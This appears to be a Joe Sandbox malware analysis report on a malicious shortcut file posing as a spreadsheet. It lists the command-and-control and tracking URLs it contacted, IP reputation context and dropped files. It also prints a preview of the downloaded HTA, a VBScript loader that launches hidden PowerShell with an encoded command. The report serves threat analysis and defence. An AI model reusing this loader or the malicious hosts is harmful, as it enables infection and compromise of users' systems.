                                                  https://iplogger.cn/forensicsas.pngemshta.exe, 00000002.00000002.2086880000.000001B148880000.00000004.00000020.00020000.00000000.sdmpfalse
                                                  • Avira URL Cloud: phishing
                                                  		unknown
                                                  http://ecols.ru/ecols.htaPmshta.exe, 00000002.00000002.2087634483.000001B94B52D000.00000004.00000020.00020000.00000000.sdmpfalse
                                                  • Avira URL Cloud: safe
                                                  		unknown
                                                  https://contoso.com/Iconpowershell.exe, 00000006.00000002.1382248319.0000000005BA9000.00000004.00000800.00020000.00000000.sdmpfalse
                                                    		high
                                                    http://crl.ver)svchost.exe, 00000005.00000002.2373086860.0000020DBBA8C000.00000004.00000020.00020000.00000000.sdmpfalse
                                                      		high
                                                      http://ecols.ru/ecols.htaDmshta.exe, 00000002.00000002.2087634483.000001B94B52D000.00000004.00000020.00020000.00000000.sdmpfalse
                                                      • Avira URL Cloud: safe
                                                      		unknown
                                                      https://mcnn.ru:8443/jquery-3.3.1.slim.min.js6Vpowershell.exe, 00000006.00000002.1389805083.000000000783F000.00000004.00000020.00020000.00000000.sdmpfalse
                                                      • Avira URL Cloud: malware
                                                      		unknown
                                                      https://iplogger.cn/~mshta.exe, 00000002.00000002.2087019154.000001B148900000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.2078490513.000001B1488F4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.2085620199.000001B1488FF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.2077055407.000001B1488FF000.00000004.00000020.00020000.00000000.sdmpfalse
                                                      • Avira URL Cloud: phishing
                                                      		unknown
                                                      http://ecols.ru/ecols.htaru/ecols.htaAmshta.exe, 00000002.00000003.1169190097.000001B94B54A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                      • Avira URL Cloud: safe
                                                      		unknown
                                                      https://github.com/Pester/Pesterpowershell.exe, 00000006.00000002.1370317295.0000000004CC5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1386504166.000000000715D000.00000004.00000020.00020000.00000000.sdmpfalse
                                                        		high
                                                        https://iplogger.cn/forensicsas.pngXmshta.exe, 00000002.00000002.2087634483.000001B94B510000.00000004.00000020.00020000.00000000.sdmpfalse
                                                        • Avira URL Cloud: phishing
                                                        		unknown
                                                        https://iplogger.cn/forensicsas.png~mshta.exe, 00000002.00000003.1169238850.000001B14895C000.00000004.00000020.00020000.00000000.sdmpfalse
                                                        • Avira URL Cloud: phishing
                                                        		unknown
                                                        https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96svchost.exe, 00000005.00000003.1211090216.0000020DBB842000.00000004.00000800.00020000.00000000.sdmp, edb.log.5.drfalse
                                                          		high
                                                          http://ecols.ru/ecols.htaTKC:mshta.exe, 00000002.00000003.2077055407.000001B148943000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.2087103662.000001B148958000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.2078431282.000001B148956000.00000004.00000020.00020000.00000000.sdmpfalse
                                                          • Avira URL Cloud: safe
                                                          		unknown
                                                          https://mcnn.ru/powershell.exe, 00000006.00000002.1386881963.00000000071C5000.00000004.00000020.00020000.00000000.sdmpfalse
                                                          • Avira URL Cloud: malware
                                                          		unknown
                                                          https://aka.ms/pscore68powershell.exe, 00000000.00000002.1156807846.0000020564851000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2000051277.000001E1C0671000.00000004.00000800.00020000.00000000.sdmpfalse
                                                            		high
                                                            https://oneget.orgpowershell.exe, 00000000.00000002.1156807846.0000020565CB8000.00000004.00000800.00020000.00000000.sdmpfalse
                                                              		high

                                                              World Map of Contacted IPs

                                                              • No. of IPs < 25%
                                                              • 25% < No. of IPs < 50%
                                                              • 50% < No. of IPs < 75%
                                                              • 75% < No. of IPs

                                                              Public IPs

                                                              IPDomainCountryFlagASNASN NameMalicious
                                                              172.67.160.19
                                                              		iplogger.cnUnited States
                                                              		13335CLOUDFLARENETUStrue
                                                              91.218.228.26
                                                              		ecols.ruRussian Federation
                                                              		203226IHCRUInternet-HostingLtdMoscowRussiaRUfalse
                                                              190.2.146.205
                                                              		mcnn.ruCuracao
                                                              		49981WORLDSTREAMNLtrue

                                                              Private

                                                              IP
                                                              127.0.0.1

                                                              General Information

                                                              Joe Sandbox version:42.0.0 Malachite
                                                              Analysis ID:1638546
                                                              Start date and time:2025-03-14 14:20:18 +01:00
                                                              Joe Sandbox product:CloudBasic
                                                              Overall analysis duration:0h 5m 0s
                                                              Hypervisor based Inspection enabled:false
                                                              Report type:full
                                                              Cookbook file name:default.jbs
                                                              Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                              Number of analysed new started processes analysed:16
                                                              Number of new started drivers analysed:0
                                                              Number of existing processes analysed:0
                                                              Number of existing drivers analysed:0
                                                              Number of injected processes analysed:0
                                                              Technologies:
                                                              • HCA enabled
                                                              • EGA enabled
                                                              • AMSI enabled
                                                              Analysis Mode:default
                                                              Analysis stop reason:Timeout
                                                              Sample name:____ ______.xls.lnk.bin.lnk
                                                              Detection:MAL
                                                              Classification:mal100.bank.troj.evad.winLNK@11/16@3/4
                                                              EGA Information:
                                                              • Successful, ratio: 33.3%
                                                              HCA Information:
                                                              • Successful, ratio: 92%
                                                              • Number of executed functions: 18
                                                              • Number of non-executed functions: 0
                                                              Cookbook Comments:
                                                              • Found application associated with file extension: .lnk

                                                              Warnings

                                                              • Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
                                                              • Excluded IPs from analysis (whitelisted): 23.199.214.10, 131.253.33.254, 4.175.87.197, 20.109.210.53
                                                              • Excluded domains from analysis (whitelisted): a-ring-fallback.msedge.net, fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, prod.fs.microsoft.com.akadns.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, e16604.dscf.akamaiedge.net, fe3cr.delivery.mp.microsoft.com
                                                              • Execution Graph export aborted for target powershell.exe, PID 7288 because it is empty
                                                              • Execution Graph export aborted for target powershell.exe, PID 7540 because it is empty
                                                              • Not all processes where analyzed, report is missing behavior information
                                                              • Report size getting too big, too many NtOpenKeyEx calls found.
                                                              • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                                              • Report size getting too big, too many NtQueryValueKey calls found.

                                                              Simulations

                                                              Behavior and APIs

                                                              TimeTypeDescription
                                                              09:21:13API Interceptor99359x Sleep call for process: powershell.exe modified
                                                              09:21:18API Interceptor2x Sleep call for process: svchost.exe modified

                                                              Joe Sandbox View / Context

                                                              IPs

                                                              ⊘No context

                                                              Domains

                                                              ⊘No context

                                                              ASNs

                                                              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                              IHCRUInternet-HostingLtdMoscowRussiaRUf8PZ0Uuwau.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                                              • 217.144.98.170
                                                              grxpiPs2Fw.elfGet hashmaliciousMirai, MoobotBrowse
                                                              • 91.218.228.164
                                                              http://hotel-karmen.ruGet hashmaliciousUnknownBrowse
                                                              • 37.143.13.155
                                                              LockyRansom.exeGet hashmaliciousUnknownBrowse
                                                              • 37.143.9.154
                                                              LockyRansom.exeGet hashmaliciousUnknownBrowse
                                                              • 37.143.9.154
                                                              KtMg6d1Ivx.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                                              • 185.87.199.107
                                                              https://googleads.g.doubleclick.net/pcs/click?xai=AKAOjsuLaMSxRbnmx4CaSYBD7UEX1peDpNeYnMWW4dVza-G52TGjr2vj5pKsC0MnZ5wKKbv48DTu4_9zifCV__nn-40JMtKyE_J-VMT8wv7a1Lf0nNBgkN5ubnqB_fbDSNDoYvSXrEeZ7mt6jhn1Gl78NJ_xm24v553oIbpIcOlySTxRzwS3ROTWKkuLKGhJpg1kkeB-2p7L0D_C0Tx_5HYnjwuOs8n8jzqBq4O3iSh2WW3Es8m8o5Fm3xTlO9UbT5wj7XWQmwefhVbuqmrnfemDwqzjrWGaSNRRqB_R9QTXSQjdFDdWTx0_Oo7RzbAWcjKqQR2JbLAW_ZYkDd6cz8q8BYpJJzzkZ6QKuyXH_CCgkPoul09CafKLox9uieqQMwQ&sai=AMfl-YQSMSxmTEvfKP4k3QH0IYz2PIsK1wo62PVWE2-bo7ZdB4Yue3XhmrRw5NnkQ1uiDEixQcvMUgBuCbvmwfqOzcwUGUmidc9tgXXMjS8Z7zb-8rHzyMziFnJ7Kv7S6gwBuwmLhiK3qougMvlVE4DWmw&sig=Cg0ArKJSzCxoV_8QjjEU&fbs_aeid=%5Bgw_fbsaeid%5D&adurl=https://dubaieventhost.com?26utm_source%3Dacuityads%26utm_medium%3Ddisplay%26utm_campaign%3D23%26utm_content%3D728x90_CyberWeek%26utm_term%3DNOOFR%26dclid%3D%25edclid!Get hashmaliciousUnknownBrowse
                                                              • 95.183.11.171
                                                              xd.arm.elfGet hashmaliciousMiraiBrowse
                                                              • 185.22.233.198
                                                              epce3FXdZM.exeGet hashmaliciousDCRatBrowse
                                                              • 217.144.103.11
                                                              Wcu8q856Mc.elfGet hashmaliciousMiraiBrowse
                                                              • 185.87.196.219
                                                              CLOUDFLARENETUSZEemZXPukh.exeGet hashmaliciousLummaC StealerBrowse
                                                              • 188.114.97.3
                                                              http://allstareventsmiami.comGet hashmaliciousUnknownBrowse
                                                              • 172.67.142.245
                                                              SOA FEB 2025.exeGet hashmaliciousMSIL Logger, MassLogger RATBrowse
                                                              • 104.21.96.1
                                                              https://intimidadcondiosgt.com/fghjwssxhj/2pIU6hxd/Y2l0eXRpdGxlQGNpdHl0aXRsZWFnZW5jeS5jb20NGet hashmaliciousUnknownBrowse
                                                              • 172.67.136.69
                                                              Spacey Sun 11.12.411.exeGet hashmaliciousVidarBrowse
                                                              • 172.64.41.3
                                                              https://www.google.co.zm/url?q=https%3A%2F%2Fembalagenspontual.com%2F.dnd%2F&sa=D&sntz=1&usg=AOvVaw2fQzlrSA6WjuVq4o5C-GZh#?470265860475745Family=X2NlYzY3QG5hc2hpbnRsLmNvbQ==Get hashmaliciousHTMLPhisher, Invisible JS, Tycoon2FABrowse
                                                              • 104.17.25.14
                                                              https://fortuneurl.com/qdQgKGet hashmaliciousUnknownBrowse
                                                              • 104.22.20.144
                                                              13.03.2025-13.03.2025 shtml.exeGet hashmaliciousMSIL Logger, MassLogger RATBrowse
                                                              • 104.21.32.1
                                                              http://188.114.96.0Get hashmaliciousUnknownBrowse
                                                              • 104.18.31.19
                                                              SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exeGet hashmaliciousScreenConnect ToolBrowse
                                                              • 172.67.181.28
                                                              WORLDSTREAMNLNew-inst-x64.exeGet hashmaliciousLummaC Stealer, XmrigBrowse
                                                              • 5.252.153.122
                                                              https://accverst.com/Get hashmaliciousUnknownBrowse
                                                              • 5.252.153.143
                                                              Launcher.exeGet hashmaliciousLummaC Stealer, RHADAMANTHYS, XmrigBrowse
                                                              • 5.252.153.122
                                                              ntohlsakdth.exeGet hashmaliciousDCRatBrowse
                                                              • 5.252.155.127
                                                              Arly.exeGet hashmaliciousDiscord Token Stealer, PRYSMAX STEALER, RHADAMANTHYS, XmrigBrowse
                                                              • 5.252.153.122
                                                              jklarm5.elfGet hashmaliciousUnknownBrowse
                                                              • 213.108.199.205
                                                              HmngBpR.exeGet hashmaliciousUnknownBrowse
                                                              • 185.183.32.103
                                                              EDM8nAR.batGet hashmaliciousUnknownBrowse
                                                              • 5.252.155.19
                                                              cTgYsJEANZ.exeGet hashmaliciousUnknownBrowse
                                                              • 185.183.32.103
                                                              ChromeSetup.exeGet hashmaliciousUnknownBrowse
                                                              • 185.18.52.66

                                                              JA3 Fingerprints

                                                              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                              37f463bf4616ecd445d4a1937da06e19_________03M4138.docx.bin.docGet hashmaliciousUnknownBrowse
                                                              • 172.67.160.19
                                                              Spacey Sun 11.12.411.exeGet hashmaliciousVidarBrowse
                                                              • 172.67.160.19
                                                              Spacey Sun 11.12.411.exeGet hashmaliciousVidarBrowse
                                                              • 172.67.160.19
                                                              PO0317011.exeGet hashmaliciousUnknownBrowse
                                                              • 172.67.160.19
                                                              Payment slip_pdf.pif.exeGet hashmaliciousRemcos, GuLoaderBrowse
                                                              • 172.67.160.19
                                                              Portals.exeGet hashmaliciousVidarBrowse
                                                              • 172.67.160.19
                                                              Portals.exeGet hashmaliciousUnknownBrowse
                                                              • 172.67.160.19
                                                              test.lnk.download.lnkGet hashmaliciousUnknownBrowse
                                                              • 172.67.160.19
                                                              file.exeGet hashmaliciousRemcosBrowse
                                                              • 172.67.160.19
                                                              DropboxInstaller.exeGet hashmaliciousUnknownBrowse
                                                              • 172.67.160.19

                                                              Dropped Files

                                                              ⊘No context

                                                              Created / dropped Files

                                                              C:\ProgramData\Microsoft\Network\Downloader\edb.log

                                                              Download File
                                                              Process:C:\Windows\System32\svchost.exe
                                                              File Type:data
                                                              Category:dropped
                                                              Size (bytes):1310720
                                                              Entropy (8bit):1.3073495993873034
                                                              Encrypted:false
                                                              SSDEEP:3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvri:KooCEYhgYEL0In
                                                              MD5:954F01F35CCD88CEBBEC503801CC7B9B
                                                              SHA1:8C6B02ABD2B11C17D70713BD268103CF6336AD7D
                                                              SHA-256:911FD6588510E559DB41B22B9A285617B7438F883754881EE3501CD2ABC00B36
                                                              SHA-512:EC3EC3F8BA08E24D041A60AD1EC31F085BAB6B15B4B1DE65BE8459033FCCE674B9A62C092BE821768F8E5D3D261ADF78BBB30D4515F0F9341DCEFFD6045F5267
                                                              Malicious:false
                                                              Reputation:low
                                                              Preview:z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

                                                              C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

                                                              Download File
                                                              Process:C:\Windows\System32\svchost.exe
                                                              File Type:Extensible storage engine DataBase, version 0x620, checksum 0x070a28cf, page size 16384, DirtyShutdown, Windows version 10.0
                                                              Category:dropped
                                                              Size (bytes):1310720
                                                              Entropy (8bit):0.4221520445916064
                                                              Encrypted:false
                                                              SSDEEP:1536:hSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:haza/vMUM2Uvz7DO
                                                              MD5:B23F1595402087088A73B6DF58E22A00
                                                              SHA1:32412ED2537E4F1311DAA0DA8E00B975D4081204
                                                              SHA-256:A868B5A02EE8B5AF6BEC404955C2FC1FB42FA035450A39450874D2624AC346D0
                                                              SHA-512:6E134A422D7A6F3171AA916A034A34303FB915A0AF42529CA5FAE2B1DF17C10D3429E5CA58A57B69CDA70D593BE937229E66C281015726CE669B026685476E1D
                                                              Malicious:false
                                                              Reputation:low
                                                              Preview:..(.... .......A.......X\...;...{......................0.!..........{A......}3.h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{...................................v.'.....}q...................R].....}S..........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

                                                              C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

                                                              Download File
                                                              Process:C:\Windows\System32\svchost.exe
                                                              File Type:data
                                                              Category:dropped
                                                              Size (bytes):16384
                                                              Entropy (8bit):0.07748090357796628
                                                              Encrypted:false
                                                              SSDEEP:3:PYeBIilvjn13a/yd4ltallcVO/lnlZMxZNQl:PzBLv53qy2eOewk
                                                              MD5:D28754438DB345743DB5A7475C678739
                                                              SHA1:2F934E46B63521FE8904BA927920CC3408D78A92
                                                              SHA-256:2FFE632A28ACAFFA0341F332B3A81D91E06F2E9630439DA8AF580ED6D2205374
                                                              SHA-512:04511E3133F145D50BD531345ECBF7D05F37AC33D559136FF12F49591065E4C5D55711FD667773B27B05DCCD965409E369AC0D0B7E9773F3BB081ABA7FD5706A
                                                              Malicious:false
                                                              Preview:..._.....................................;...{.......}S......{A..............{A......{A..........{A]..................R].....}S.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\ecols[1].hta

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:HTML document, ASCII text, with very long lines (7637)
                                                              Category:dropped
                                                              Size (bytes):7799
                                                              Entropy (8bit):4.500285886794744
                                                              Encrypted:false
                                                              SSDEEP:192:WsVs2Ag8/AAg5iwKEtjge8U8EKdMz5A+ZxjKKwq:xseAWiBEtIU8EkKwq
                                                              MD5:DCDC1BAD9FB1C049B7F28AFA7DC8712A
                                                              SHA1:53CD3A94CFFD9C42711009CE71B3AAD7EAC03AA4
                                                              SHA-256:57CD0102F13D317E70F7E91462D01B409146B42F4C8F929D14325AC5F91FF33E
                                                              SHA-512:11E19ED89AA5723A377C0F4B9077E48A781BA6A6FF34D452CEDFF647FC9AD922BE993BB3466465E07177B7DCA6003AA0AC4979C782615B1947AE030560E6C7A7
                                                              Malicious:true
                                                              Yara Hits:
                                                              • Rule: WiltedTulip_WindowsTask, Description: Detects hack tool used in Operation Wilted Tulip - Windows Tasks, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\ecols[1].hta, Author: Florian Roth
                                                              Antivirus:
                                                              • Antivirus: Avira, Detection: 100%
                                                              Preview:<script language="VBScript">..Function var_func()...Dim var_shell...Set var_shell = CreateObject("Wscript.Shell")...var_shell.run "powershell -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEALwA2ADEAWABhADMATwBpAHoAQgBMACsASABIADgARgBIADEASwBsAFYAawB3AE8AeABNAHYAcQBuAGsAcgBWAEkAaABmAEYAQQBKAEcATABsADUAZwAzAGwAVQBJAFkARQBSAGsAQgBZAFIARABKAHUALwB2AGYAVAA0AE8AYQB6AFoANQBOAHoAdABtAHEAYwA2AHkAaQBIAEcAYQBtAHUANQA5ACsAcAByAHUAbgBNAFIAQwA1AE4AawBqAHMAMgBVAFEASgBIAFUAUgBkAFQAMQBHAGMAZQBHAEYAQQAzAFYAWQBxAGwAMQB2AEwAUgB4ADUASgBRAHUAcQBPACsAbABhAHQAcgBOAEwAQQBKAHMAVgBTAE0AWABoAHgARQBYAG0ASgA0AHQAQgArAHMAUgB3AG4AUgBrAGwAQwAvAFYAMgA1AEcARgB1AHgAdABhAFYAcQBsADMAcwByAGYAdABtAEcAVABvAHAAUgBnAHkAcABmAGkAbwAzAEkAUwBXAE4AVQB2ADcAaQBvAFgASgBSAFQAYQBaAEIAWQBLAC8AUQBTAFcATQBUAGIAbwA1AGMAdABJAHUAdgBRAFMAYwBCAFEANwBZAG0ATgBJAGoANwBjAFcAbAA

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

                                                              Download File
                                                              Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              File Type:data
                                                              Category:dropped
                                                              Size (bytes):10191
                                                              Entropy (8bit):4.969827299917153
                                                              Encrypted:false
                                                              SSDEEP:192:Zxoe5qpOZxoe54ib43WzmVsm5emdrgkjDt4iWN3yBGHVQ9smzdcU6Cj9dcU6CG9S:Srib43WKIkjh4iUxsMUpX6Ypib47
                                                              MD5:8C799E302AF1736D2CF8D4D3F217E724
                                                              SHA1:42B4C15E7608F2B4C3568DC6977C07EC2E3D4DEA
                                                              SHA-256:DC3A5A2555A6877D960AF4E0E9B8F8D0329BC011B53872CCBEB2273B60493D44
                                                              SHA-512:4A4469ECEF31BC56986AD2EDD1E2A0075AEE3A1FA5DF8093873F67D5F3418321E54A1752A9535BF8AAE3D24A78C93067E96DA073BCF6F3B019A74DFEE30B2088
                                                              Malicious:false
                                                              Preview:PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                              Download File
                                                              Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              File Type:data
                                                              Category:dropped
                                                              Size (bytes):64
                                                              Entropy (8bit):0.34726597513537405
                                                              Encrypted:false
                                                              SSDEEP:3:Nlll:Nll
                                                              MD5:446DD1CF97EABA21CF14D03AEBC79F27
                                                              SHA1:36E4CC7367E0C7B40F4A8ACE272941EA46373799
                                                              SHA-256:A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
                                                              SHA-512:A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
                                                              Malicious:false
                                                              Preview:@...e...........................................................

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-ServerMode

                                                              Download File
                                                              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              File Type:data
                                                              Category:modified
                                                              Size (bytes):64
                                                              Entropy (8bit):0.34726597513537405
                                                              Encrypted:false
                                                              SSDEEP:3:Nlll:Nll
                                                              MD5:446DD1CF97EABA21CF14D03AEBC79F27
                                                              SHA1:36E4CC7367E0C7B40F4A8ACE272941EA46373799
                                                              SHA-256:A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
                                                              SHA-512:A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
                                                              Malicious:false
                                                              Preview:@...e...........................................................

                                                              C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4jmsghcu.4qh.psm1

                                                              Download File
                                                              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              File Type:ASCII text, with no line terminators
                                                              Category:dropped
                                                              Size (bytes):60
                                                              Entropy (8bit):4.038920595031593
                                                              Encrypted:false
                                                              SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                              MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                              SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                              SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                              SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                              Malicious:false
                                                              Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                              C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4mlg4ktp.uh3.psm1

                                                              Download File
                                                              Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              File Type:ASCII text, with no line terminators
                                                              Category:dropped
                                                              Size (bytes):60
                                                              Entropy (8bit):4.038920595031593
                                                              Encrypted:false
                                                              SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                              MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                              SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                              SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                              SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                              Malicious:false
                                                              Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                              C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_d1gecwjj.nan.ps1

                                                              Download File
                                                              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              File Type:ASCII text, with no line terminators
                                                              Category:dropped
                                                              Size (bytes):60
                                                              Entropy (8bit):4.038920595031593
                                                              Encrypted:false
                                                              SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                              MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                              SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                              SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                              SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                              Malicious:false
                                                              Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                              C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_p5nawkyx.gfg.psm1

                                                              Download File
                                                              Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              File Type:ASCII text, with no line terminators
                                                              Category:dropped
                                                              Size (bytes):60
                                                              Entropy (8bit):4.038920595031593
                                                              Encrypted:false
                                                              SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                              MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                              SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                              SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                              SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                              Malicious:false
                                                              Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                              C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_u21k0mxa.jz0.ps1

                                                              Download File
                                                              Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              File Type:ASCII text, with no line terminators
                                                              Category:dropped
                                                              Size (bytes):60
                                                              Entropy (8bit):4.038920595031593
                                                              Encrypted:false
                                                              SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                              MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                              SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                              SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                              SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                              Malicious:false
                                                              Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                              C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_z3v2gqbj.5kq.ps1

                                                              Download File
                                                              Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              File Type:ASCII text, with no line terminators
                                                              Category:dropped
                                                              Size (bytes):60
                                                              Entropy (8bit):4.038920595031593
                                                              Encrypted:false
                                                              SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                              MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                              SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                              SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                              SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                              Malicious:false
                                                              Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                              C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\IIGEBA1B1MCN0DFQC4KH.temp

                                                              Download File
                                                              Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              File Type:data
                                                              Category:dropped
                                                              Size (bytes):5439
                                                              Entropy (8bit):3.519300179613719
                                                              Encrypted:false
                                                              SSDEEP:48:Uh1BotZ5F1dCZxIXuN1zdZx/tpKAwlRsSogZoGBSNpKAwl4sSogZoGB21:UhLoPvFuN1LpKAwNH/BqpKAwOH/Bo
                                                              MD5:604A3EC11F0F60879CC5688E66EF31B6
                                                              SHA1:F54555E344CDFD48DAAB77093DC05EA72AC5E15E
                                                              SHA-256:2B57E9D6ED61B263386542CB65892D4F71112B3D5A7B7CAC2889004198259A52
